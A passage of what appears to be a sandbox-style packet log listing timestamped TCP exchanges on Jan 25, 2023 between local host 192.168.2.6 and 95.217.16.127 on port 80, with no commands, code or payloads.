Jan 25, 2023 21:04:28.556802034 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556806087 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556824923 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556829929 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556848049 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556854010 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556871891 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556879044 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556895971 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556900978 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556919098 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556926966 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556941986 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556951046 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556966066 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.556973934 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.556988955 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.557013035 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.557018995 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.557018995 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.557034969 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.557043076 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.557059050 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.557082891 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.557109118 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.557109118 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.594763994 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.594819069 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.594858885 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.594887972 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.594893932 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.594932079 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.594953060 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.594969988 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.594976902 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595001936 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595019102 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595035076 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595047951 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595069885 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595084906 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595098972 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595115900 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595139027 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595156908 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595169067 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595196962 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595223904 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595228910 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595262051 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595262051 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595288992 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595295906 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595310926 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595329046 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595347881 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595369101 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595396996 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595403910 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595422983 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595428944 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595494032 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595529079 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595546007 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595565081 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595567942 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595596075 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595601082 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595630884 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595635891 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595650911 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595679998 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595690012 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595702887 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595732927 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595761061 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595789909 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595792055 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595823050 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595824957 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595858097 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595865011 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595885038 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595891953 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595916033 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595918894 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595944881 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595947981 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.595968008 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.595982075 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596005917 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596014977 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596048117 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596051931 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596080065 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596082926 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596115112 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596118927 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596144915 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596146107 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596174002 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596196890 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596205950 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596220016 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596240997 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596271038 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596282005 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596304893 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596313953 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596340895 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596345901 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596374989 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596384048 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596407890 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596414089 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596445084 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596446037 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596477032 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596478939 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596509933 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596529007 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596529007 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596533060 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596573114 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596585035 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596602917 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596610069 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596637964 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596643925 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596673012 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596673012 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596705914 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596707106 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596723080 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596738100 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596765041 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596770048 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596800089 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596805096 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596822023 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596822023 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596844912 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596849918 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596867085 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596879005 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596888065 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596900940 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596910954 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596927881 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596935987 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596951962 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.596960068 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596981049 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.596985102 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597002029 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597023010 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597031116 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597045898 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597048998 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597068071 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597089052 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597095966 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597110987 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597122908 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597134113 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597157001 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597160101 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597177982 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597189903 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597201109 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597223043 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597227097 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597244024 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597258091 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597265959 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597289085 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597300053 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597312927 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597335100 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597357035 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597367048 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597378969 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597384930 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597403049 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597413063 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597424984 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597446918 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597455025 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597469091 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597476959 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597491980 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597510099 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597516060 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597531080 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597537994 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597554922 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597560883 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597582102 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597584963 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597596884 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597609997 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597630978 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597651958 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597656012 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597672939 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597685099 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597696066 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597706079 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597718954 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597726107 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597739935 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597757101 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597762108 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597780943 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597784042 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597801924 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597815990 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597834110 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597836971 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597858906 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597866058 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597882032 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597887039 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597904921 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597910881 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597929001 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597939968 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597951889 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597961903 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.597968102 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597990990 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.597997904 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598012924 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598028898 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598035097 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598057032 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598063946 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598078966 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598098993 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598102093 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598120928 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598128080 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598141909 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598164082 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598181009 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598186970 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598206043 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598211050 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598221064 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598234892 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598256111 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598268032 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598278999 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598290920 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598301888 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598323107 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598334074 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598345995 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598359108 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598366976 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598388910 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598402023 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598411083 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598432064 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.598440886 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598462105 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.598493099 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636061907 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636111975 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636135101 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636164904 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636198997 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636229992 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636262894 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636293888 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636291981 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636292934 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636317015 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636341095 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636365891 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636388063 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636388063 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636388063 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636398077 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636435032 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636440992 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636467934 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636470079 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636498928 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636504889 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636531115 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636533022 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636550903 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636568069 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636583090 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636598110 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636612892 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636625051 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636645079 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636656046 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636682034 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636687040 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636713028 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636719942 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636730909 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636758089 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636775017 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636795044 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636826992 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636850119 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636850119 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636857033 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636874914 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636899948 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636912107 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.636924028 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636953115 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636989117 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.636987925 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637002945 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637002945 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637032986 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637048006 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637065887 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637099028 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637104034 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637130976 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637131929 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637166977 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637177944 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637197018 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637200117 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637219906 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637223959 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637247086 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637249947 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637269974 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637281895 CET	80	49715	95.217.16.127	192.168.2.6
Jan 25, 2023 21:04:28.637305975 CET	49715	80	192.168.2.6	95.217.16.127
Jan 25, 2023 21:04:28.637310982 CET	80	49715	95.217.16.127	192.168.2.6
